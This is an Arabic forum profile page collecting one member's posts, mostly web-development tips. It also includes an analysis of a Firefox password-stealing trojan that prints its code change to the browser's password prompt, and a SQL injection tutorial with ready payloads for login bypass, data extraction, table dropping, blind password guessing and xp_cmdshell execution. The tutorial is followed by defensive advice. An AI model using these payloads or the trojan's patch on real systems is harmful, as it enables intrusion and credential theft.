• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

net_code

اعضاء
  • عدد المشاركات

    498
  • تاريخ الانضمام

  • تاريخ اخر زياره

السمعه بالموقع

16 عادي

عن net_code

  • الرتبة
    عضو فعال
  • تاريخ الميلاد 11/28/1987

طرق الإتصال

معلومات الملف الشخصي

  • الجنس ذكر
  • الدولة : جمهورية مصر العربيه
  • اهتمامات البرمجة , الشطرنج , wargames :)
  1. كنت أتمنى مقابلتك هناك فنحن لم نتقابل منذ المقابلات البرمجية الأسبوعية فى الإسكندرية حاول و إذا كنت ستحضر أتصل بيا لنتقابل أنا سأحضر اليوم الثاني بإذن الله
  2. يمكنك إستخدام أحد أنظمة إدارة الشفرة المصدرية مثل SVN أو GIT
  3. بسم الله الرحمن الرحيم لفت إنتباهي مؤخرا التروجان الذي يستهدف الفايرفوكس لسرقة بيانات المستخدمين و سأقوم بتحليل طريقة عمله فى هذا الموضوع بإذن الله التروجان كأي ملف حصان طروادة آخر يدخل على الجهاز بأي طريقة سواء كان عن طريق ملف مصاب أو رسالة إلكترونية أو غيرها من الطرق - يقوم فى البداية بنسخ نفسه إلى المجلد system32 بالإسم kernel.exe كنوع من التخفي يقوم التروجان بتهيئة نفسه عن طريق إضافة الأداة التي يستخدمها Microsoft Internet Transfer (msinet.ocx) – و هذا يثبت أن التروجان على الأغلب مكتوب بالفيجوال بيسيك 6 - يقوم التروجان بإضافة مستخدم جديد على النظام المصاب بإسم Maestro - يقوم بعدها التروجان بجمع الباسووردات التي تم تخزينها بالفعل سواء كان فى الفايرفوكس أو الإنترنت إكسبلورر - بعدها يقوم بخدعته و هو التعديل على الملف nsLoginManagerPrompter.js وهو الملف المسئول عن تنبيهات إدارة عملية حفظ كلمات المرور , فى الحالة الطبيعية إذا أدخلت كلمة مرور فى الفايرفوكس سيقوم بتنبيهك إذا كنت تريد لفايرفوكس بحفظ و تذكر كلمة المرور أم لا يقوم التروجان بتعديل هذا ليتم تخزين الباسوورد بدون سؤالك يقوم بالذهاب تحديدا على السطر 835 var pwmgr = this._pwmgr; وو ضع بعده pwmgr.addLogin(aLogin); و هكذا يتجاوز الحماية فلا يهم ماذا سيختار المستخدم سيقوم فايرفوكس بحفظ الباسوورد فإذا نظرت إلى الكود قبل التعديل The callbacks in |buttons| have a closure to access the variables // in scope here; set one to |this._pwmgr| so we can get back to pwmgr // without a getService() call. var pwmgr = this._pwmgr; var buttons = [ // "Remember" button { label: rememberButtonText, accessKey: rememberButtonAccessKey, popup: null, callback: function(aNotificationBar, aButton) { pwmgr.addLogin(aLogin); } }, // "Never for this site" button { label: neverButtonText, accessKey: neverButtonAccessKey, popup: null, callback: function(aNotificationBar, aButton) { pwmgr.setLoginSavingEnabled(aLogin.hostname, false); } }, // "Not now" button { label: notNowButtonText, accessKey: notNowButtonAccessKey, popup: null, callback: function() { /* NOP */ } } ]; this._showLoginNotification(aNotifyBox, “password-save”, notificationText, buttons); ستجد أنه يقوم بعمل مصفوفة بالإختيارات buttons و يمرر ال callback لكل إختيار و نجد أن pwmgr.addLogin(aLogin); و المسئولة عن حفظ الباسوورد موجوده فى ال callback الخاص بالإختيار الأول فقط و هو الموافقة على حفظ الباسوورد و لكن بعد التعديل يصبح الكود هكذا The callbacks in |buttons| have a closure to access the variables // in scope here; set one to |this._pwmgr| so we can get back to pwmgr // without a getService() call. var pwmgr = this._pwmgr; pwmgr.addLogin(aLogin); var buttons = [ // "Remember" button { label: rememberButtonText, accessKey: rememberButtonAccessKey, popup: null, callback: function(aNotificationBar, aButton) { pwmgr.addLogin(aLogin); } }, // "Never for this site" button { label: neverButtonText, accessKey: neverButtonAccessKey, popup: null, callback: function(aNotificationBar, aButton) { pwmgr.setLoginSavingEnabled(aLogin.hostname, false); } }, // "Not now" button { label: notNowButtonText, accessKey: notNowButtonAccessKey, popup: null, callback: function() { /* NOP */ } } ]; this._showLoginNotification(aNotifyBox, “password-save”, notificationText, buttons); و عندها يقوم الفايرفوكس بإستدعاء pwmgr.addLogin(aLogin); فور الدخول للfunction أى قبل حتى أن تظر الرسالة الخاصة بتنبيه المستخدم لحفظ كلمة المرور و بهكذا لا يهم ماذا سيضغط المستخدم ففي كل الحالات سيتم تخزينها و لكن لا أعلم هل حبا فى الشهره أم سذاجة من المبرمج لقد ترك أدلة على شخصيته الحقيقية بما فيها إيميله الشخصي مما أدى إلى الوصول إليه بسهوله عن طريق الفيس بوك أكاونت الخاص به و اتضح أنه من إيران الفكرة عامة جيدة و هي إستغلال سهولة التعديل فى ملفات الفايرفوكس و تعديله بما يناسب إحتياجات المخترق بدون أن يجعل المستخدم يشعر بأي شئ الحل المتاح حاليا : هي تثبيت نسخة جديدة من الفايرفوكس لتبديل النسخة المعدلة من nsLoginManagerPrompter.js بنسخة جديدة أو يمكنك تعديل الملف يدويا إذا كنت تعرف ماذا تفعل و طبعا إزالة التروجان من مكانه المفضل داخل ال system32
  4. قمت ببرمجة هذا البرنامج بإستخدام الجافاسكريبت بالإعتماد على JQuery و خواص HTML5 الجديدة Local Storage , Drag & Drop , Content Editable و بعض تأثيرات ال CSS3 تحديدا خاصية Transform - rotate قمت بالمشاركة بهذا البرنامج فى مسابقة لتطبيقات HTML5 و لكن للأسف لم أحصل على أى من المراكز الثلاثة الأولى فقلت لماذا لا أشارككم البرنامج كمفتوح المصدر للإفادة السورس كود مرفق بالكامل - وهو مفتوح المصدر بالكامل و يمكن إستخدام الكود كplugin بسهولة $('#divID').IPiky() أنا مستعد لمناقشة الكود بشكل كامل من أجل فهم أعمق لخواص HTML5 و أى مناقشة فى ال HTML5 apis أرحب بها بشكل دائم ipiky.zip
  5. قم بإستعمال UTF-8 و ريح دماغك
  6. إضافة جميلة يا X-FIle و لكن لدي إضافة بسيط على 2- عمل تحقق validation على الحقول بالجافا سكريبت قبل الارسال حيث أنه يمكن التلاعب بالجافاسكريبت بسهوله لتجاوز ال validation بإستخدام javascript injection لذلك لا يجب إستخدامها كخط دفاع رئيسي لأنه سرعان ما سينهار و يجب أن يكون خط دفاعك الأساسي validation & filtering على مستوى التطبيق ال server side و ليس ال client side
  7. جرب GNU PGP http://www.gnupg.org/
  8. Sql Injection ال sql injection هو حقن كود معين فى مدخلات البرنامج ليتم تنفيذه على مستوى قاعدة البيانات ليتم الحصول على معلومات من قاعدة البيانات غير مصرح بها أو التلاعب بمحتويات قاعدة البيانات ال SQL Injection ينتج عن ضعف إما فى طبقة التطبيق سواء كان PHP أو ASP …. أو فى طبقة قاعدة البيانات كالثغرة التى ظهرت على يد Josh Berkus و Tom Lane فى الدالة الخاصة بال ماي سكول mysql_real_escape_string و التى يستخدمها مطوري التطبيقات التى تعتمد على قاعدة بيانات Mysql لفلترة المدخلات قبل إدخالها لقاعدة البيانات , حيث إكتشف المطوران خلل فى فلترة هذا الدالة للمدخلات اليونيكود مما يتيح للمخترق تجاوزها – تم إصلاح هذا الخطأ فى النسخة 5.0.22 عام 2006 http://dev.mysql.com/doc/refman/5.0/en/news-5-0-22.html ال sql injection يتم بشكل أساسي على لغة ال sql وهي اللغة الرئيسية للتعامل مع قاعدة البيانات و هي تتكون أساسا من ANSI SQL و هي معتمدة بشكل كامل فى قواعد البيانات كلها بنفس الطريقة مثال SELECT , UPDATE , DELETE و غيرها و هناك بعض الإضافات التى تضيفها محركات قواعد البيانات إلى لغة ال sql و لكن لا يمكن إستعمالها بنفس الطريقة مع كل محركات البحث ك stored procedure أو بعض ال SQL Functions ستناول فى هذا الموضوع أساليب إستخدام ال Sql Injection إبتداءا من الإستخدامات البسيطة إلى الإستخدامات المتقدمة و فى النهاية سنتناول كيفية الحماية قدر الإمكان من هذا النوع من الهجمات 1- تخطي حمايات الدخول تأمل معي الكود التالي :- sql = “SELECT * FROM `users` WHERE `username` = ‘$username’ AND `password` = ‘$password’” ; Mysql_query($sql); If(mysql_num_rows($result)){ Echo ‘logged’; }else{ Echo ‘failed’; } الكود السابق سليم من الناحية التقنية ولكنه غير سليم إطلاقا من الناحية الأمنية حيث ببساطة يمكن إدخال اليوزر نيم أى شئ ثم إدخال ‘or 1=1;-- تخيل معي الكود السابق بعض وضع المدخلات $sql = “SELECT * FROM `users` WHERE `username` = ‘admin’ AND `password` = ” or 1=1;--’” ; هل لاحظت ؟؟ نعم لقد دخلت بالفعل و ما أدخلته كمدخلات تم تنفيذه كجزء من جملة ال sql وهذا أدى إلى تجاوز الحماية بسهولة حيث بعد الكلمة or تم وضع شرط يتحقق دائما وهو 1=1 و وضع ; و التى تعني نهاية جملة الإستعلام و – لتجاهل ما بعدها 2- عرض البيانات :- من الأهداف الرئيسية للsql injection عرض بيانات من داخل قواعد البيانات مثل عرض محتويات جدول ال users مثلا و يتم هذا عبر حقن جملة select فى جملة select أخرى عن طريق Union مثلا Select * From `news` WHERE `news_id` = ‘.$_GET['id'] فإذا قمنا بإدخال كالآتي site.com/news.php?id=1 union select 1,2,3 from users; سيكون شكل جملة sql كالتالي Select * From `news` WHERE `news_id` = 1 union select 1,2,3 from `users`; طبعا إفترضنا وجود ثلاثة حقول فقط غى جدول ال users و إستعضنا عن أسماء الحقول ب 1 و 2 و 3 لأننا لا نعلم أسماءهم بالضبط و سيتم عرض بيانات ال users فى الصفحة نتيجة للإستعلام و يمكننا تعديل جملة ال sql كما نحب فيمكننا عرض بيانات شخص واحد فقط site.com/news.php?id=1 union select 1,2,3 from users WHERE id = 1; هناك عدة تحديات تواجه المخترق فى ال sql injection أقواهم هو أسماء الجداول و الحقول و هو ما يمكن تخمينه فى البداية بعدة طرق فى حالة أن مدير الموقع يتيح للبرنامج إظهار الأخطاء أو فى حالة عدم ظهور الأخطاء مما يؤدي بنا إلى blind sql injection ( سيتم شرح هذه التقطة بالتفصيل فيما بعد ) 3- التلاعب بالبيانات :- أحد أخطر الأشياء التى يمكن فعلها بال sql injection هي التلاعب بالبيانات سواء عن طريق insert أو Update أو Delete أو حتى Drop table مثال :- فى مثالنا السابق يمكن إدخال الآتي site.com/news.php?id=1;INSERT INTO users VALUES (NULL,’netcode’,'netcode’); هل يمكنك تخمين ماذا سيحدث ؟؟ ;) و إذا كانت مستخدم القاعدة له الصلاحيات فما المانع من التخريب site.com/news.php?id=1;DROP TABLE users و لكن :- هذه الطريقة تعتمد على دعم multiple sql statements execution و بالفعل هي مدعمة فى قواعد البيانات و لكن أغلب لغات البرمجة تحمي هذه النقطة فمثلا Mysql_query() لا يمكن تنفيذ أكثر من جملة sql عليها فى نفس الوقت فن المعرفة فى sql injection :- ال sql injection يعتمد على المعرفة بدرجة أولى من أول نوع و إصدار قاعدة البيانات ( نوع قاعدة البيانات يفيدك من حيث ال syntax فهي تختلف من نوع قاعدة بيانات و أخرى و إصدارها يفيد فى معرفة إذا كان هذا الإصدار مصاب بثغرة معينة مثل ثغرة mysql_real_escape_string فى mysql ) و أسماء الجداول و الحقول و تنقسم المعرفة فى sql injection إلى نوعين النوع العادي – حيث أن مدير الموقع يتيح إظهار الأخطاء – و blind sql injection أ – النوع العادي :- فى البداية نريد أن نعرف أسماء الجداول و يمكنك هذا بسهوله إذا كان السكريبت يسمح ب multiple sql statements execution عن طريق show tables و لكن إذا كان السكريبت لا يسمح يمكن ذلك عن طريق بعض التخمينات site.com/news.php?id=1 AND 1=(SELECT COUNT(*) FROM tablename); -- حيث tablename هو تخمينك ففي هذه الجمله ستعود بالقيمة 1 فقط إذا كان الإسم صحيح فلن يظهر الخبر إلا إذا كان الإسم صحيح معرفة أسماء الحقول :- يمكنك معرفة أسماء الحقول عن طريق الأخطاء التى تظهر عن طريق الجملة HAVING وهي جملة تستخدم فى تنفيذ الشروط على ال functions فيمكنك إستخدام الترتيب التالي ‘ HAVING 1=1 -- سيظهر لك أحد الحقول كخطأ ‘ GROUP BY table.columnfromerror1 HAVING 1=1 -- سيظهر لك خطأ ثان ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- و هكذا حتى ينتهي ظهور الأخطاء و هنا تكون قد حصلت على أسماء الحقول كلها ويمكن الحصول على عدد الحقول لإستخدامها فى جملة select عن طريق نفس الفكرة ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- و هكذا حتى تحصل على خطأ و هنا تعلم عدد الحقول الحقيقية ب- blind sql injection :- و هنا تكون مهمة المخترق إزدادت صعوبة و لكنها ليست مستحيلة حيث أن المطور أغلق إظهار الأخطاء error reporting و هنا تكون عمليات ال finger prints لقاعدة البيانات بالطريقة العادية شبة مستحيلة و هنا يتم عمل بعض التجارب للوصول للنتائج و تنقسم إلى ثلاث حيل Conditional responses هذه الحيلة تعتمد على التلاعب بالمتغيرات لتغيير الإستجابة الخاصة بالsql فلمعرفة هل البرنامج مصاب بثغرة sql injection أم لا يمكنك إستخدام الآتي http://site.com/news.php?id=2 and 1=2 إذا كان البرنامج مصاب بثغرة ستتغير الإستجابة و ستظهر الصفحة بدون أى بيانات و للتأكد من هذا يمكنك تغيير الشرط إلى 1=1 و إذا ظهرت بيانات هنا تتأكد أن التطبيق مصاب ب sql injection Conditional errors و هذه الحيلة تعتمد على توليد خطأ عندما يكون الشرط صحيحا مثلا SELECT 1/0 FROM users WHERE username=’netcode’; فإذا كان هناك بالفعل مستخدم بالإسم netcode فسيتم توليد الخطأ Division By Zero كنتيجة ل 1/0 Time delays و هذه الحيلة تعتمد على تأجيل الرد الخاص بقاعدة البيانات إذا كان الشرط صحيحا مثال :- إستخدام ال sql injection فى عمل brute force للباسوورد سنستخدم هنا الدالة benchmark و لتنفيذ الدالة encode عدد كبير من المرات لتأخير تنفيذ ال sql إذا كان الشرط صحيح UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE id = 1; هنا إستخدمنا الدالة if كشرط و قارنا أول حرف من الباسوورد بأنه يساوي char(50)أي الرقم 2 إذا تم تحميل الصفحة ببطء إذا الشرط صحيح و أول حرف من الباسسورد 2 طبعا من الصعب إستخدام هذه الطريقة فى brute force بشكل عملي و لكن تم عمل هذا المثال للتوضيح فقط إستغلال ال database stored procedure أشهر إستغلال لهذا النوع هو إستغلال xp_cmdshell لتنفيذ أمر على السيرفر dir مثلا أو ping EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’ و لكن تنفيذ الأوامر غير مفعل إفتراضيا فى Sql Server 2005 للحماية بالإضافة إلى أنه يحتاج صلاحيات ال admin هناك العديد من ال stored procedure التى يمكن إستغلالها Google it ;) الحماية .. الحل ؟؟ بعد هذا الموضوع أعتفد أننا متفقين الآن أن ال sql injection من أخطر الهجمات التى تتم على ال web application لما يمكنها فعله فماذا يمكن فعله لصد هذه الهجمات 1- كن شكاكا :- لا بد من فلترة جميع المدخلات بلا إستثناء سواء من get أو post أو ajax أو أى مدخل آخر 2- إغلق تقرير الأخطاء :- قم بتصعيب الأمور على المخترق و إجعله يلجأ دائما إلى blind sql injection 3- قم بتغيير ال table prefix لجداول قاعدة البيانات بأسماء غير مفهومة 4- لا تقم بإعطاء صلاحية المدير لمستخدم قاعدة البيانات الحالي إذا كنت لا تحتاج هذه الصلاحياة 5- قم بتعطيل خاصية multiple statement sql execution إذا كانت لغة البرمجة التى تستخدمها أو قاعدة البيانات لم تقم بتعطيلها هذا و نصيحة قم بالإطلاع دائما على المزيد من الحيل فكلما عرفت حيل أكثر كلما كنت أكثر وعيا بكيفية إغلاق الطريق أمام المخترق هذا و الله أعلم باب الأسئلة مفتوح للجميع فى هذا الموضوع روابط للأستزادة http://en.wikipedia.org/wiki/SQL_injection http://www.owasp.org/index.php/SQL_Injection http://www.owasp.org/index.php/Blind_SQL_Injection http://unixwiz.net/techtips/sql-injection.html http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
  9. إذا كنت تبرمج لعبة جرب HTML 5 Canvas مع Drag Drop API ;)
  10. بالنسبة للJSON فالأفضل إستخدام $.getJSON http://api.jquery.com/jQuery.getJSON/ و بالنسبة لل $.ajaxStart() و $.ajaxComplete() فهي جلوبال على أى طلب أجاكس فى الصفحة و لا توجد طريقة مباشرة لربطها بطلب معين فأكثر إستخداماتها تكون ك Ajax indicator
  11. لا يمكن عمل هذا بإستخدام ال css فقط , بل يمكن التحايل عليه إما بإستخدام ال tables أو بإستخدام الجافاسكريبت
  12. عمل جيد أهنئك عليه أرجو أن يتسع صدرك للملاحظات التالية :- 1- حاول تطبيق MVC بشكل أعمق حيث إنك دمجت طبقة Controller مع Model فيجب فصل هذان الطبقتان فماذا إذا أحببت أن تضيف دعم قاعدة بيانات أخرى sql server مثلا أو أن تأتى بالمعلومات من جهة أخرى كال XML ؟؟ 2- ضع فى حسابك ال routing بالنسبة لل url فهناك من يريد custom routing لتححسين مستوى موقعه فى seo 3- لا أعلم الآلية التى ستدير بها الإضافات فى حالة تعدد المواقع كالتى تذكرها و لكن إحذر أمنيا فالإضافات فى برمجتك لها مطلق الحرية سواء كتعديل فى IO أو فى قاعدة البيانات هذه مجرد خواطر حول التطبيق للأسف لم يسعنى قراءة السورس كود بشكل أعمق لضيق الوقت و لكن إستمر و سندعمك بإذن الله
  13. موضوع رائع أخي خلدون HTML5 هي المستقبل و ستعتمد بإذن الله 2012 على مسئولية Ian Hickson المهندس بجوجل و المسئول عن تطوير مواصفات html5 بالنسبة لمعمارية مستعرض سفاري فهو مبني على محرك webkit وهذا المحرك ينقسم إلى قسمين أساسيين web core وهي المسئولة عن عرض ال DOM و القسم الآخر وهو JavaScriptCore و يستخدم سفاري إبتداءا من النسخة الرابعة SquirrelFish أوكما يطلقون عليه Nitro ولهذا فتنفيذ العمليتان منفصلان نوعا ما إلا في ال apis التى توفرها html5 للجافاسكريبت و لكن إذا تجاوزنا عن هذا أنا متفق تماما مع أخى خلدون أن تنفيذ وسوم Html5 أسرع من تنفيذ الجافاسكريبت
  14. رسم ثلاثي الأبعاد

    جرب http://code.google.com/apis/o3d/
  15. أولا بالنسبة لسؤال الأخ خلدون خالد و الأخ salah karam الhtml توفر apis للجافاسكريبت لإستخدامها مثل canvas and 2d drawing offline storage document editing drag and drop بالنسبة للمناقشة المعتادة عن مستقبل ال html5 و إمكانية منافستة للتقنيات RIA الأخرى ال HTML 5 مازال وليدا حتى هذه اللحظة و لم يعتمد رسميا من W3C ( مسألة وقت ليس إلا لوجود مسائل غير محسومه مثل مشكلة الفيديو مثلما ذكر الأخ motamayez ) لن أقوم بشرح مميزات HTML5 و لكن لو نظرنا قليلا لما تقدمه ال HTML5 وهي مازالت فى مرحلة التطوير سيعطيك فكره عما قد تفعله عندما تكتمل مواصفاتها كذلك أغلب مصممين و مطورين الويب ضاقوا ذرعا من مايكروسوفت حيث إنها لا تدعم Standards الويب بشكل سليم ( حتى أكون محايدا متصفح IE8 يدعم ال Standard بشكل مرضي نوعا ما ) وتتأخر كثيرا بالمقارنة بالمتصفحات الأخرى بالإضافة إلى أن HTML5 يقف وارءها منظمات و شركات كبرى مثل Google و mozilla foundation حتى apple التى ساهمت بشكل كبير فى offline db storage و مواصفات Css3 الجميع مهتم ب html5 و المستخدمين ليسوا مجبرين على تنصيب أو تركيب إى إضافات لإستخدام تطبيقاتها يكفي أن تستعمل متصفح غير إنترنت إكسبلورر :) و إذا لم تعي مايكروسوفت هذا سيهجر الكثير متصفحها التقليدي IE لمتصفحات أكثر تقدما FF, Safari , Chrome